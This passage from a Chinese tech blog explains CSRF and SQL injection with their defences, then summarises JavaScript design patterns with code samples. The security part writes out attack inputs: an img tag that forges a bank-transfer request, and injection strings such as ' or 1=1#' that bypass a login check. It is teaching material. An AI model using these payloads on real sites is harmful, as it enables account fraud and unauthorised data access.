<p>CSRF攻击必须要有三个条件 :</p>
<p>1)用户已经登录了站点A,并在本地记录了cookie。<br><br>2)在用户没有登出站点A的情况下(也就是cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点B(B站点要求访问站点A)。<br><br>3)站点A没有做任何CSRF防御。<br></p>
<p> 过程图如下:<br> <img src="images/technology/CSRF.png" alt="CSRF攻击过程"><br> <strong><em>e.g1:</em></strong></p>
<p> 一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:<br> example.com/bbs/create_post.php?title=标题&content=内容</p>
<p> 那么,我只需要在论坛中发一帖,包含一链接:<br> example.com/bbs/create_post.php?title=我是脑残&content=哈哈</p>
<p> 只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。<br> <strong><em>e.g2:</em></strong></p>
<p> 银行网站A,它以GET请求来完成银行转账的操作,如:<a href="http://www.mybank.com/Transfer.php?toBankId=11&money=1000" target="_blank" rel="noopener">www.mybank.com/Transfer.php?toBankId=11&money=1000</a><br> 危险网站B,它里面有一段HTML的代码如下<br> <figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><img src=http:<span class="comment">//www.mybank.com/Transfer.php?toBankId=11&money=1000></span></span><br></pre></td></tr></table></figure></p>
<p> 首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块……</p>
<p> 为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源<a href="http://www.mybank.com/Transfer.php?toBankId=11&money=1000,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作....." target="_blank" rel="noopener">www.mybank.com/Transfer.php?toBankId=11&money=1000,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作.....</a>.</p>
<p> 为了杜绝上面的问题,银行决定改用POST请求完成转账操作,如果银行后台使用了$_REQUEST去获取请求的数据,而危险网站B,仍然只是包含那句一模一样的HTML代码,结果你的银行账户依然少了1000块。</p>
<p> 原因是银行后台使用了\$_REQUEST去获取请求的数据,而\$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用\$_GET和\$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。</p>
<p> 如何防范:<br> 在业界目前防御CSRF攻击主要有三种策略:验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。同时尽量使用POST,限制GET。下面就分别对这三种策略进行详细介绍:</p>
<p> 1)验证HTTP Referer字段</p>
<p> 利用HTTP头中的Referer判断请求来源是否合法。<br><br> 优点:简单易行,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。<br><br> 缺点:<br><br> (1)Referer 的值是由浏览器提供的,不可全信,低版本浏览器下Referer存在伪造风险。<br><br> (2)用户自己可以设置浏览器使其在发送请求时不再提供Referer时,网站将拒绝合法用户的访问。<br></p>
<p> 2)在请求地址中添加token并验证</p>
<p> 在请求中放入黑客所不能伪造的信息,并且该信息不存在于cookie之中,以HTTP请求参数的形式加入一个随机产生的token交由服务端验证。<br><br> 优点:比检查Referer要安全一些,并且不涉及用户隐私。<br><br> 缺点:对所有请求都添加token比较困难,难以保证token本身的安全,依然会被利用获取到token。<br></p>
<p> 3)在HTTP头中自定义属性并验证+One-Time Tokens</p>
<p> 将token放到HTTP头中自定义的属性里。通过XMLHttpRequest的异步请求交由后端校验,并且一次有效。<br><br> 优点:统一管理token输入输出,可以保证token的安全性。<br><br> 缺点:有局限性,无法在非异步的请求上实施。<br></p>
<h3 id="3、SQL注入"><a href="#3、SQL注入" class="headerlink" title="3、SQL注入"></a>3、SQL注入</h3><blockquote>
<p>通过将外部的输入直接嵌入到需要执行的SQL语句中,从而可能获取数据库中的敏感信息,或者利用数据库的特性执行一些恶意操作,甚至可能会获取数据库乃至系统用户的最高权限。</p>
</blockquote>
<p>原因:程序没有转义过滤用户输入的内容,导致攻击者可以向服务器提交恶意的代码,从而使得程序在执行SQL语句时,将攻击者输入的代码作为SQL语句的一部分执行,导致原逻辑被改变,执行了攻击者的恶意代码。</p>
<p>例如:<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$sql = <span class="string">"select * from user where id="</span>.$id;</span><br></pre></td></tr></table></figure></p>
<p>上面的例子是查询某个信息,服务端直接用用户输入的变量\$id来拼接SQL语句,而执行该语句,存在安全隐患,如果$id=’2 or 1==1’,便能轻易的获取user表的任意信息。</p>
<p><strong><em>e.g1:</em></strong></p>
<p>比如,我们要访问某一个帖子的信息,会通过调用类似于<a href="https://www.xxx.xx/news/read?pid=50这样的接口来获取信息,这样的话可能就会导致SQL注入,通过上面的地址可以推断出服务端中执行的SQL是:" target="_blank" rel="noopener">https://www.xxx.xx/news/read?pid=50这样的接口来获取信息,这样的话可能就会导致SQL注入,通过上面的地址可以推断出服务端中执行的SQL是:</a><br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * <span class="keyword">from</span> [表名] where pid=<span class="number">50</span>;</span><br></pre></td></tr></table></figure></p>
<p>如果我们在参数后面拼接上一些其他的信息作为参数一部分,便可能导致SQL数据发生改变,如添加” and 1=2”后SQL语句将变为:<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * <span class="keyword">from</span> [表名] where pid=<span class="number">50</span> and <span class="number">1</span>=<span class="number">2</span>; <span class="comment">// 1=2不成立</span></span><br></pre></td></tr></table></figure></p>
<p>从而会导致返回出错。</p>
<p><strong><em>e.g2:</em></strong></p>
<p> 再比如,在一个登陆界面中,需要传入用户名和密码进行登录验证,正常情况下,传给服务端的用户名和密码数据被合成到SQL查询语句中后应该是这样的:<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * <span class="keyword">from</span> users where username=[用户名] and password=md5([密码])</span><br></pre></td></tr></table></figure></p>
<p>此时,如果用户在用户名中输入” or 1=1#”,密码随便输入,便可以登录。因为此时的SQL语句为:<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * <span class="keyword">from</span> users where username=<span class="string">" or 1=1#"</span> and password=md5(<span class="string">""</span>)</span><br></pre></td></tr></table></figure></p>
<p>而”#”在mysql中是注释符,这样#号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * <span class="keyword">from</span> users where username=<span class="string">''</span> or <span class="number">1</span>=<span class="number">1</span></span><br></pre></td></tr></table></figure></p>
<p>因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * <span class="keyword">from</span> users</span><br></pre></td></tr></table></figure></p>
<p>导致的最终结果是该sql语句的作用是检索users表中的所有字段,从而能够登录成功。<br>如何防范:对用户输入的那些变量进行优化过滤,不要信任用户传入的数据。</p>
<h3 id="小结一下"><a href="#小结一下" class="headerlink" title="小结一下"></a>小结一下</h3><p>XSS攻击的本质就是,利用一切手段在目标用户的浏览器中执行攻击脚本,而CSRF则是攻击者盗用了你的身份,以你的名义发送恶意请求。<br>因此,不管是客户端还是服务端,都不要信任双方传来的数据,最好都进行过滤转义等处理,总之,绝不可以信任任何客户端提交的数据!!!</p>
</div>
<div class="article-info article-info-index">
<div class="article-tag tagcloud">
<i class="icon-price-tags icon"></i>
<ul class="article-tag-list">
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color4">web</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color1">web安全</a>
</li>
</ul>
</div>
<p class="article-more-link">
<a class="article-more-a" href="/2019/04/01/常见的Web安全及其攻防姿势/">展开全文 >></a>
</p>
<div class="clearfix"></div>
</div>
</div>
</article>
<aside class="wrap-side-operation">
<div class="mod-side-operation">
<div class="jump-container" id="js-jump-container" style="display:none;">
<a href="javascript:void(0)" class="mod-side-operation__jump-to-top">
<i class="icon-font icon-back"></i>
</a>
<div id="js-jump-plan-container" class="jump-plan-container" style="top: -11px;">
<i class="icon-font icon-plane jump-plane"></i>
</div>
</div>
</div>
</aside>
<script>
$('.blog-check img').zoomify();
</script>
<article id="post-JS常见设计模式总结" class="article article-type-post article-index" itemscope itemprop="blogPost">
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2019/03/25/JS常见设计模式总结/">JavaScript设计模式总结</a>
</h1>
<a href="javascript:;" class="archive-article-date">
<i class="icon-smile icon"></i> 阅读数:<span id="/2019/03/25/JS常见设计模式总结/" class="pageViews">0</span>次
</a>
<a href="/2019/03/25/JS常见设计模式总结/" class="archive-article-date">
<time datetime="2019-03-24T16:00:00.000Z" itemprop="datePublished"><i class="icon-calendar icon"></i>2019-03-25</time>
</a>
</header>
<!-- 目录内容 -->
<!-- 目录内容结束 -->
<div class="article-entry blog-check" itemprop="articleBody">
<p>之前看过《JavaScript设计模式与开发实践》这本书,对书中的设计模式和一些相关案例也有了一定的了解,同时把这些设计模式的应用对应在在一些其他的项目中,进行了一些整理,如下仅供参考:</p>
<p><em>补充:如果以下内容有什么不对的地方,欢迎指正。</em></p>
<h3 id="设计模式目的"><a href="#设计模式目的" class="headerlink" title="设计模式目的"></a>设计模式目的</h3><p>设计模式是为了更好的代码重用性,可读性,可靠性,可维护性。</p>
<h3 id="设计六大原则"><a href="#设计六大原则" class="headerlink" title="设计六大原则"></a>设计六大原则</h3><p>1)单一职责原则<br><br>2)里氏替换原则<br><br>3)依赖倒转原则<br><br>4)接口隔离原则<br><br>5)迪米特法则(最少知识原则)<br><br>6)开放封闭原则<br></p>
<h3 id="设计模式分类"><a href="#设计模式分类" class="headerlink" title="设计模式分类"></a>设计模式分类</h3><p>总体来说设计模式分为三大类:</p>
<p>创建型模式,共五种:工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。</p>
<p>结构型模式,共七种:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。</p>
<p>行为型模式,共十一种:策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。</p>
<p>其实还有两类:并发型模式和线程池模式。</p>
<p>不过,对于前端来说,有的设计模式在平时工作中几乎用不到或者很少用到,来来来,来了解下前端常见的设计模式</p>
<h3 id="JS中的设计模式"><a href="#JS中的设计模式" class="headerlink" title="JS中的设计模式"></a>JS中的设计模式</h3><font color="red">常见设计模式:</font>
<p><strong>1、工厂模式</strong></p>
<blockquote>
<p>常见的实例化对象模式,工厂模式就相当于创建实例对象的new,提供一个创建对象的接口<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 某个需要创建的具体对象</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Product</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> (name) {</span><br><span class="line"> <span class="keyword">this</span>.name = name;</span><br><span class="line"> }</span><br><span class="line"> init () {}</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 工厂对象</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Creator</span> </span>{</span><br><span class="line"> create (name) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> Product(name);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">const</span> creator = <span class="keyword">new</span> Creator();</span><br><span class="line"><span class="keyword">const</span> p = creator.create(); <span class="comment">// 通过工厂对象创建出来的具体对象</span></span><br></pre></td></tr></table></figure></p>
</blockquote>
<p>应用场景:JQuery中的$、Vue.component异步组件、React.createElement等</p>
<p><strong>2、单例模式</strong></p>
<blockquote>
<p>保证一个类仅有一个实例,并提供一个访问它的全局访问点,一般登录、购物车等都是一个单例。<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 单例对象</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SingleObject</span> </span>{</span><br><span class="line"> login () {}</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 访问方法</span></span><br><span class="line">SingleObject.getInstance = (<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> instance;</span><br><span class="line"> <span class="keyword">return</span> <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (!instance) {</span><br><span class="line"> instance = <span class="keyword">new</span> SingleObject();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> instance;</span><br><span class="line"> }</span><br><span class="line">})()</span><br><span class="line"><span class="keyword">const</span> obj1 = SingleObject.getInstance();</span><br><span class="line"><span class="keyword">const</span> obj2 = SingleObject.getInstance();</span><br><span class="line"><span class="built_in">console</span>.log(obj1 === obj2); <span class="comment">// true</span></span><br></pre></td></tr></table></figure></p>
</blockquote>
<p>应用场景:JQuery中的$、Vuex中的Store、Redux中的Store等</p>
<p><strong>3、适配器模式</strong></p>
<blockquote>
<p>用来解决两个接口不兼容问题,由一个对象来包装不兼容的对象,比如参数转换,允许直接访问<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Adapter</span> </span>{</span><br><span class="line"> specificRequest () {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">'德国标准插头'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 适配器对象,对原来不兼容对象进行包装处理</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Target</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> () {</span><br><span class="line"> <span class="keyword">this</span>.adapter = <span class="keyword">new</span> Adapter();</span><br><span class="line"> }</span><br><span class="line"> request () {</span><br><span class="line"> <span class="keyword">const</span> info = <span class="keyword">this</span>.adapter.specificRequest();</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">`<span class="subst">${info}</span> - 转换器 - 中国标准插头`</span>)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">const</span> target = <span class="keyword">new</span> Target();</span><br><span class="line"><span class="built_in">console</span>.log(target.request()); <span class="comment">// 德国标准插头 - 转换器 - 中国标准插头</span></span><br></pre></td></tr></table></figure></p>
</blockquote>
<p>应用场景:Vue的computed、旧的JSON格式转换成新的格式等</p>
<p><strong>4、装饰器模式</strong></p>
<blockquote>
<p>在不改变对象自身的基础上,动态的给某个对象添加新的功能,同时又不改变其接口<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Plane</span> </span>{</span><br><span class="line"> fire () {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'发送普通子弹'</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 装饰过的对象</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Missile</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> (plane) {</span><br><span class="line"> <span class="keyword">this</span>.plane = plane;</span><br><span class="line"> }</span><br><span class="line"> fire () {</span><br><span class="line"> <span class="keyword">this</span>.plane.fire();</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'发射导弹'</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">let</span> plane = <span class="keyword">new</span> Plane();</span><br><span class="line">plane = <span class="keyword">new</span> Missile(plane);</span><br><span class="line"><span class="built_in">console</span>.log(plane.file()); <span class="comment">// 依次打印 发送普通子弹 发射导弹</span></span><br></pre></td></tr></table></figure></p>
</blockquote>
<p>利用AOP给函数动态添加功能,即Function的after或者before<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Function</span>.prototype.before = <span class="function"><span class="keyword">function</span> (<span class="params">beforeFn</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> _self = <span class="keyword">this</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> beforeFn.apply(<span class="keyword">this</span>, <span class="built_in">arguments</span>);</span><br><span class="line"> <span class="keyword">return</span> _self.apply(<span class="keyword">this</span>, <span class="built_in">arguments</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">Function</span>.prototype.after = <span class="function"><span class="keyword">function</span> (<span class="params">afterFn</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> _self = <span class="keyword">this</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> ret = _self.apply(<span class="keyword">this</span>, <span class="built_in">arguments</span>);</span><br><span class="line"> afterFn.apply(<span class="keyword">this</span>, <span class="built_in">arguments</span>);</span><br><span class="line"> <span class="keyword">return</span> ret;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> func = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'2'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">func = func.before(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'1'</span>);</span><br><span class="line">}).after(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'3'</span>);</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line">func();</span><br><span class="line"><span class="built_in">console</span>.log(func()); <span class="comment">// 依次打印 1 2 3</span></span><br></pre></td></tr></table></figure></p>
<p>应用场景:ES7装饰器、Vuex中1.0版本混入Vue时,重写init方法、Vue中数组变异方法实现等</p>
<p><strong>5、代理模式</strong></p>
<blockquote>
<p>为其他对象提供一种代理,便以控制对这个对象的访问,不能直接访问目标对象<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Flower</span> </span>{}</span><br><span class="line"><span class="comment">// 源对象</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Jack</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> (target) {</span><br><span class="line"> <span class="keyword">this</span>.target = target;</span><br><span class="line"> }</span><br><span class="line"> sendFlower (target) {</span><br><span class="line"> <span class="keyword">const</span> flower = <span class="keyword">new</span> Flower();</span><br><span class="line"> <span class="keyword">this</span>.target.receiveFlower(flower)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 目标对象</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Rose</span> </span>{</span><br><span class="line"> receiveFlower (flower) {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'收到花: '</span> + flower)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 代理对象</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ProxyObj</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> () {</span><br><span class="line"> <span class="keyword">this</span>.target = <span class="keyword">new</span> Rose();</span><br><span class="line"> }</span><br><span class="line"> receiveFlower (flower) {</span><br><span class="line"> <span class="keyword">this</span>.sendFlower(flower)</span><br><span class="line"> }</span><br><span class="line"> sendFlower (flower) {</span><br><span class="line"> <span class="keyword">this</span>.target.receiveFlower(flower)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">const</span> proxyObj = <span class="keyword">new</span> ProxyObj();</span><br><span class="line"><span class="keyword">const</span> jack = <span class="keyword">new</span> Jack(proxyObj);</span><br><span class="line">jack.sendFlower(proxyObj); <span class="comment">// 收到花:[object Object]</span></span><br></pre></td></tr></table></figure></p>
</blockquote>
<p>应用场景:ES6 Proxy、Vuex中对于getters访问、图片预加载等</p>
<p><strong>6、外观模式</strong></p>
<blockquote>
<p>为一组复杂的子系统接口提供一个更高级的统一接口,通过这个接口使得对子系统接口的访问更容易,不符合单一职责原则和开放封闭原则<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">A</span> </span>{</span><br><span class="line"> eat () {}</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">B</span> </span>{</span><br><span class="line"> eat () {}</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">C</span> </span>{</span><br><span class="line"> eat () {</span><br><span class="line"> <span class="keyword">const</span> a = <span class="keyword">new</span> A();</span><br><span class="line"> <span class="keyword">const</span> b = <span class="keyword">new</span> B();</span><br><span class="line"> a.eat();</span><br><span class="line"> b.eat();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 跨浏览器事件侦听器</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">addEvent</span>(<span class="params">el, type, fn</span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">window</span>.addEventListener) {</span><br><span class="line"> el.addEventListener(type, fn, <span class="literal">false</span>);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">window</span>.attachEvent) {</span><br><span class="line"> el.attachEvent(<span class="string">'on'</span> + type, fn);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> el[<span class="string">'on'</span> + type] = fn;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
</blockquote>
<p>应用场景:JS事件不同浏览器兼容处理、同一方法可以传入不同参数兼容处理等</p>
<p><strong>7、观察者模式</strong></p>
<blockquote>
<p>定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都将得到通知<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">Subject</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> () {</span><br><span class="line"> <span class="keyword">this</span>.state = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">this</span>.observers = [];</span><br><span class="line"> }</span><br><span class="line"> getState () {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.state;</span><br><span class="line"> }</span><br><span class="line"> setState (state) {</span><br><span class="line"> <span class="keyword">this</span>.state = state;</span><br><span class="line"> <span class="keyword">this</span>.notify();</span><br><span class="line"> }</span><br><span class="line"> notify () {</span><br><span class="line"> <span class="keyword">this</span>.observers.forEach(<span class="function"><span class="params">observer</span> =></span> {</span><br><span class="line"> observer.update();</span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line"> attach (observer) {</span><br><span class="line"> <span class="keyword">this</span>.observers.push(observer);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Observer</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span> (name, subject) {</span><br><span class="line"> <span class="keyword">this</span>.name = name;</span><br><span class="line"> <span class="keyword">this</span>.subject = subject;</span><br><span class="line"> <span class="keyword">this</span>.subject.attach(<span class="keyword">this</span>);</span><br><span class="line"> }</span><br><span class="line"> update () {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">`<span class="subst">${<span class="keyword">this</span>.name}</span> update, state: <span class="subst">${<span class="keyword">this</span>.subject.getState()}</span>`</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> sub = <span class="keyword">new</span> Subject();</span><br><span class="line"><span class="keyword">let</span> observer1 = <span class="keyword">new</span> Observer(<span class="string">'o1'</span>, sub);</span><br><span class="line"><span class="keyword">let</span> observer2 = <span class="keyword">new</span> Observer(<span class="string">'o2'</span>, sub);</span><br><span class="line"></span><br><span class="line">sub.setState(<span class="number">1</span>);</span><br></pre></td></tr></table></figure></p>
</blockquote>
<p><strong>观察者模式与发布/订阅模式区别: 本质上的区别是调度的地方不同</strong></p>
<p>虽然两种模式都存在订阅者和发布者(具体观察者可认为是订阅者、具体目标可认为是发布者),但是观察者模式是由具体目标调度的,而发布/订阅模式是统一由调度中心调的,所以观察者模式的订阅者与发布者之间是存在依赖的,而发布/订阅模式则不会。</p>
